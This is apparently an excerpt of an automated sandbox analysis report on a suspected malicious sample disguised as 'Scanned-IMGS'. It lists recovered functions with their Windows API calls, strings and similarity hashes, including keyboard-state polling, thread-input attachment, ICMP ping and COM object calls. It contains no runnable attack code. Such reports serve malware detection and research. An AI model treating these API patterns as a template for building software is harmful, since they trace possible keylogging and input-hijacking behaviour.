Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_wcslen
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 323675364-22481851
Opcode ID: e417d23966b04780f906bdc60340b58890c9feb36cd3328e95667181f886c13f
Instruction ID: a8fdd161058cac388a9711e60e6392d3f2e99b9359cff6e295eadbc8a72d7e13
Opcode Fuzzy Hash: e417d23966b04780f906bdc60340b58890c9feb36cd3328e95667181f886c13f
Instruction Fuzzy Hash: CA412672C1022CEBDF11EFA4DC958EEB778FF04355B04412AE801A7162EB349E08CBA4

Function 004D3C30 Relevance: 16.8, APIs: 11, Instructions: 344fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 004D3C5C
CoInitialize.OLE32(00000000), ref: 004D3C8A
CoUninitialize.OLE32 ref: 004D3C94
_wcslen.LIBCMT ref: 004D3D2D
GetRunningObjectTable.OLE32(00000000,?), ref: 004D3DB1
SetErrorMode.KERNEL32(00000001,00000029), ref: 004D3ED5
CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,?), ref: 004D3F0E
CoGetObject.OLE32(?,00000000,004EFB98,?), ref: 004D3F2D
SetErrorMode.KERNEL32(00000000), ref: 004D3F40
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 004D3FC4
VariantClear.OLEAUT32(?), ref: 004D3FD8

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize_wcslen
String ID:
API String ID: 429561992-0
Opcode ID: 39c795d25db9862a9efc9449309967d9d2eab13fa72f481e1f20342a3918424d
Instruction ID: bd07497fdada4534849287ae670bc6475fd7d47c0ae97ea5b714053e6819b804
Opcode Fuzzy Hash: 39c795d25db9862a9efc9449309967d9d2eab13fa72f481e1f20342a3918424d
Instruction Fuzzy Hash: 1AC14371608205AFC700DF69C89492BB7E9FF89749F00492EF98A9B351D734EE06CB56

Function 004C7A96 Relevance: 16.8, APIs: 11, Instructions: 298comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 004C7AF3
SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 004C7B8F
SHGetDesktopFolder.SHELL32(?), ref: 004C7BA3
CoCreateInstance.OLE32(004EFD08,00000000,00000001,00516E6C,?), ref: 004C7BEF
SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 004C7C74
CoTaskMemFree.OLE32(?,?), ref: 004C7CCC
SHBrowseForFolderW.SHELL32(?), ref: 004C7D57
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 004C7D7A
CoTaskMemFree.OLE32(00000000), ref: 004C7D81
CoTaskMemFree.OLE32(00000000), ref: 004C7DD6
CoUninitialize.OLE32 ref: 004C7DDC

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize
String ID:
API String ID: 2762341140-0
Opcode ID: 2d124723fc58a497aed4d363fbfd2b667f8ccbfa2a978eff5ab899dad5cfd927
Instruction ID: eaeec8bde94d3a0caa09499ba946236f22efeb77b36af6b5144bf9494c1b1b79
Opcode Fuzzy Hash: 2d124723fc58a497aed4d363fbfd2b667f8ccbfa2a978eff5ab899dad5cfd927
Instruction Fuzzy Hash: A9C12C75A04109AFCB14DFA4C884DAEBBF9FF48309B1484A9E8169B362D734ED45CF94

Function 004E541D Relevance: 16.7, APIs: 11, Instructions: 191windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 004E5504
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 004E5515
CharNextW.USER32(00000158), ref: 004E5544
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 004E5585
SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 004E559B
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 004E55AC

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: MessageSend$CharNext
String ID:
API String ID: 1350042424-0
Opcode ID: 9cda25f5faab7815978d343e2b1e29b92fd1d7ecc7f1d038dc7acb6bcb0d4bb0
Instruction ID: eedb62afef531e1b55957ee59cab66b275ffcfb1beb2d92bc5cc77608397932d
Opcode Fuzzy Hash: 9cda25f5faab7815978d343e2b1e29b92fd1d7ecc7f1d038dc7acb6bcb0d4bb0
Instruction Fuzzy Hash: 1D61D170900689ABDF10DF62CC84AFF3B79EF0532AF104156F915AA291C7388A81DB69

Function 004AFA88 Relevance: 16.6, APIs: 11, Instructions: 122memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 004AFAAF
SafeArrayAllocData.OLEAUT32(?), ref: 004AFB08
VariantInit.OLEAUT32(?), ref: 004AFB1A
SafeArrayAccessData.OLEAUT32(?,?), ref: 004AFB3A
VariantCopy.OLEAUT32(?,?), ref: 004AFB8D
SafeArrayUnaccessData.OLEAUT32(?), ref: 004AFBA1
VariantClear.OLEAUT32(?), ref: 004AFBB6
SafeArrayDestroyData.OLEAUT32(?), ref: 004AFBC3
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 004AFBCC
VariantClear.OLEAUT32(?), ref: 004AFBDE
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 004AFBE9

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: a2a3bfcfb6611f3492075089f19e22f1e34598a70d341ad7c3cac9a3205f6c5e
Instruction ID: a35bde9d339b83017a7c0ee667023fa489de400bc23eff38dcfc9e7ab889c911
Opcode Fuzzy Hash: a2a3bfcfb6611f3492075089f19e22f1e34598a70d341ad7c3cac9a3205f6c5e
Instruction Fuzzy Hash: 8F4154359002199FCB00DFA5C894DAEBBB9FF59344F00807AF915AB262D734A946CFA4

Function 004B9C79 Relevance: 16.6, APIs: 11, Instructions: 119keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 004B9CA1
GetAsyncKeyState.USER32(000000A0), ref: 004B9D22
GetKeyState.USER32(000000A0), ref: 004B9D3D
GetAsyncKeyState.USER32(000000A1), ref: 004B9D57
GetKeyState.USER32(000000A1), ref: 004B9D6C
GetAsyncKeyState.USER32(00000011), ref: 004B9D84
GetKeyState.USER32(00000011), ref: 004B9D96
GetAsyncKeyState.USER32(00000012), ref: 004B9DAE
GetKeyState.USER32(00000012), ref: 004B9DC0
GetAsyncKeyState.USER32(0000005B), ref: 004B9DD8
GetKeyState.USER32(0000005B), ref: 004B9DEA

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 308fcb22efd9b703ef441386af101f17c80846def5003a8581d0fd3b50219714
Instruction ID: 19bf33a1b318be4de706d4030e505c854cb057c9707c9f55acd857e3c5b548fb
Opcode Fuzzy Hash: 308fcb22efd9b703ef441386af101f17c80846def5003a8581d0fd3b50219714
Instruction Fuzzy Hash: A841B5345047C969FF31867184443E7BEB46F11344F48805BDBC65A7C2D7A8ADC88BBA

Function 004D055B Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 207networkfileCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 004D05BC
inet_addr.WSOCK32(?), ref: 004D061C
gethostbyname.WSOCK32(?), ref: 004D0628
IcmpCreateFile.IPHLPAPI ref: 004D0636
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 004D06C6
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 004D06E5
IcmpCloseHandle.IPHLPAPI(?), ref: 004D07B9
WSACleanup.WSOCK32 ref: 004D07BF

Strings

Ping, xrefs: 004D0676

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: b83b6f0d19d86f1b83841aeb07bc806734e5664a8c690cee327c8e951ff0a8ab
Instruction ID: 817659d399ec20b3d3954ca22a5a7a45a4690ae5a26192372278af9a875d7583
Opcode Fuzzy Hash: b83b6f0d19d86f1b83841aeb07bc806734e5664a8c690cee327c8e951ff0a8ab
Instruction Fuzzy Hash: 18918E35604241AFD320DF15D498F1ABBE0AF44318F1485ABE8698F7A2D738ED46CF96

Function 004D8CD3 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 193COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,00000000,?), ref: 004D8CF3

Part of subcall function 004B8E54: _wcslen.LIBCMT ref: 004B8E77

_wcslen.LIBCMT ref: 004D8D4E
_wcslen.LIBCMT ref: 004D8D9C
_wcslen.LIBCMT ref: 004D8DDC
_wcslen.LIBCMT ref: 004D8E6E

Strings

none, xrefs: 004D8E65, 004D8E6A
winapi, xrefs: 004D8D96, 004D8D9B
cdecl, xrefs: 004D8D48, 004D8D4D
stdcall, xrefs: 004D8DD6, 004D8DDB

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: _wcslen$BuffCharLower
String ID: cdecl$none$stdcall$winapi
API String ID: 707087890-567219261
Opcode ID: 7d8f4c91d0ca9f7f219186ba2c4430e8942dae3fa5fd50824d83a258e0f41c1a
Instruction ID: f6f79b1b4e9c41acc041ba5b650dd935fa9fcf4cbc6edd67d54037eb4b889b07
Opcode Fuzzy Hash: 7d8f4c91d0ca9f7f219186ba2c4430e8942dae3fa5fd50824d83a258e0f41c1a
Instruction Fuzzy Hash: 9251A171A001169BCB14DF6CC9609BEB7A6BF65724B20422FE826E73C5DB38DD41CB94

Function 004D372C Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 187comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 004D3774
CoUninitialize.OLE32 ref: 004D377F
CoCreateInstance.OLE32(?,00000000,00000017,004EFB78,?), ref: 004D37D9
IIDFromString.OLE32(?,?), ref: 004D384C
VariantInit.OLEAUT32(?), ref: 004D38E4
VariantClear.OLEAUT32(?), ref: 004D3936

Strings

Invalid parameter, xrefs: 004D3865
Failed to create object, xrefs: 004D37E4, 004D389A
NULL Pointer assignment, xrefs: 004D381E

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 636576611-1287834457
Opcode ID: 6afe52b2c6764301adf9ee18adb46a961ef2ab8b60ae9f88706c17b2e3a91674
Instruction ID: 78a0f26b65dc052c867300673cfce3a26d24613021de7af13f9eef2674901e4f
Opcode Fuzzy Hash: 6afe52b2c6764301adf9ee18adb46a961ef2ab8b60ae9f88706c17b2e3a91674
Instruction Fuzzy Hash: B5618970608701AFD310EF55C898B5ABBE4AF48716F00481FF9859B391D778EA49CB9B

Function 004C3388 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 149COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,?), ref: 004C33CF

Part of subcall function 00459CB3: _wcslen.LIBCMT ref: 00459CBD

LoadStringW.USER32(00000072,?,00000FFF,?), ref: 004C33F0

Strings

Line %d (File "%s"):, xrefs: 004C3443, 004C345C
"%s" (%d) : ==> %s:%s%s, xrefs: 004C3504
^ ERROR , xrefs: 004C349E
Error: , xrefs: 004C34D1
"%s" (%d) : ==> %s:, xrefs: 004C3522
Incorrect parameters to object property !, xrefs: 004C34AB

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: LoadString$_wcslen
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
API String ID: 4099089115-3080491070
Opcode ID: 5cd004e25bd8d38512fb84f8ad9aadbc6db3d2c2ffb2664ceef75270772ac583
Instruction ID: da5dd52861bebc9033552998af3c753e14a21bc9e5c27d442b8f76249ac9b616
Opcode Fuzzy Hash: 5cd004e25bd8d38512fb84f8ad9aadbc6db3d2c2ffb2664ceef75270772ac583
Instruction Fuzzy Hash: EA51D372800209BADF14EBE1CD42EEEB779AF14346F10446AF90572052EB392F5DDB68

Function 004BB5C8 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 142COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 004BB5FC
_wcslen.LIBCMT ref: 004BB608
_wcslen.LIBCMT ref: 004BB64D
_wcslen.LIBCMT ref: 004BB68C
_wcslen.LIBCMT ref: 004BB6C7

Strings

KEYS, xrefs: 004BB647, 004BB64C
APPEND, xrefs: 004BB6C1, 004BB6C6
REMOVE, xrefs: 004BB602, 004BB607
EXISTS, xrefs: 004BB686, 004BB68B

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: APPEND$EXISTS$KEYS$REMOVE
API String ID: 1256254125-769500911
Opcode ID: 8533c14669e16cdb476b10779a0f6845e06e7ef57138892006e7ccccf4316b78
Instruction ID: 5eed5fbd3715cc51d3c5537d5ddb9e520512a7c44ae2875e6b1b0d2383ddd00c
Opcode Fuzzy Hash: 8533c14669e16cdb476b10779a0f6845e06e7ef57138892006e7ccccf4316b78
Instruction Fuzzy Hash: 8741D432A001269BCB206F7D88905FF77A5EBA0758B24412BE465DB384E779CD82C7E5

Function 004C5393 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 103COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 004C53A0
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 004C5416
GetLastError.KERNEL32 ref: 004C5420
SetErrorMode.KERNEL32(00000000,READY), ref: 004C54A7

Strings

UNKNOWN, xrefs: 004C5444
READONLY, xrefs: 004C5452
INVALID, xrefs: 004C5459
NOTREADY, xrefs: 004C544B
READY, xrefs: 004C5460, 004C5468

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: ec5aacf21a0f6074baddf930c5e1b58134d4d45143cfe13ee8edcc18a0b39552
Instruction ID: d3313de4d882794a934676aff02a704e5b68cddba1cb66e462acca064cdfb9b0
Opcode Fuzzy Hash: ec5aacf21a0f6074baddf930c5e1b58134d4d45143cfe13ee8edcc18a0b39552
Instruction Fuzzy Hash: 90318039A005049FD754DF68D884FAE7BA4EB45309F14806AE805CB352DB38EDC6CB99

Function 004E3C46 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 101windowCOMMON

Download Yara Rule

APIs

CreateMenu.USER32 ref: 004E3C79
SetMenu.USER32(?,00000000), ref: 004E3C88
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 004E3D10
IsMenu.USER32(?), ref: 004E3D24
CreatePopupMenu.USER32 ref: 004E3D2E
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 004E3D5B
DrawMenuBar.USER32 ref: 004E3D63

Strings

F, xrefs: 004E3D4E
0, xrefs: 004E3C54

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup
String ID: 0$F
API String ID: 161812096-3044882817
Opcode ID: ecd71fb760f4a10c5b86fec1030933cdebee2a534fbd8536302ec6025468258b
Instruction ID: 20aee4a145cbf209e24ae901734a79bdc4355f6d2e690ff5ca769fc9602f9cb4
Opcode Fuzzy Hash: ecd71fb760f4a10c5b86fec1030933cdebee2a534fbd8536302ec6025468258b
Instruction Fuzzy Hash: 6741AD75A01249EFDB10CF61D888EAA77B5FF49342F140029F9069B360D734AA11CF98

Function 004E3A23 Relevance: 15.2, APIs: 10, Instructions: 182windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 004E3A9D
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 004E3AA0
GetWindowLongW.USER32(?,000000F0), ref: 004E3AC7
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004E3AEA
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 004E3B62
SendMessageW.USER32(?,00001074,00000000,00000007), ref: 004E3BAC
SendMessageW.USER32(?,00001057,00000000,00000000), ref: 004E3BC7
SendMessageW.USER32(?,0000101D,00001004,00000000), ref: 004E3BE2
SendMessageW.USER32(?,0000101E,00001004,00000000), ref: 004E3BF6
SendMessageW.USER32(?,00001008,00000000,00000007), ref: 004E3C13

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: MessageSend$LongWindow
String ID:
API String ID: 312131281-0
Opcode ID: c8f0240a3fed95b6214013b01bf928c0d33df1569287d60023ac1a8a74f904fa
Instruction ID: 11d65f599f0070db43d8a36c9bc8ac48f773c896673879c5d9af80157bf81a20
Opcode Fuzzy Hash: c8f0240a3fed95b6214013b01bf928c0d33df1569287d60023ac1a8a74f904fa
Instruction Fuzzy Hash: 0B618D71900248AFDB11DF68CC85EEE77B8EF09305F10019AFA05AB392C774AE46DB54

Function 004BB12F Relevance: 15.1, APIs: 10, Instructions: 88threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 004BB151
GetForegroundWindow.USER32(00000000,?,?,?,?,?,004BA1E1,?,00000001), ref: 004BB165
GetWindowThreadProcessId.USER32(00000000), ref: 004BB16C
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,004BA1E1,?,00000001), ref: 004BB17B
GetWindowThreadProcessId.USER32(?,00000000), ref: 004BB18D
AttachThreadInput.USER32(?,00000000,00000001,?,?,?,?,?,004BA1E1,?,00000001), ref: 004BB1A6
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,004BA1E1,?,00000001), ref: 004BB1B8
AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,004BA1E1,?,00000001), ref: 004BB1FD
AttachThreadInput.USER32(?,?,00000000,?,?,?,?,?,004BA1E1,?,00000001), ref: 004BB212
AttachThreadInput.USER32(00000000,?,00000000,?,?,?,?,?,004BA1E1,?,00000001), ref: 004BB21D

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: d770ed7df9c1265267c2ae7428cd225712bded05ab04afa40386d071c3750b3e
Instruction ID: d5505259c8310b6d95bc044be0f55c77be62519a011758c993679cd61fd77091
Opcode Fuzzy Hash: d770ed7df9c1265267c2ae7428cd225712bded05ab04afa40386d071c3750b3e
Instruction Fuzzy Hash: BB31A071640204AFDB249F64DC8CFAE7BA9FF61351F104056F910DA290E7B89D068FB8

Function 00482C80 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00482C94

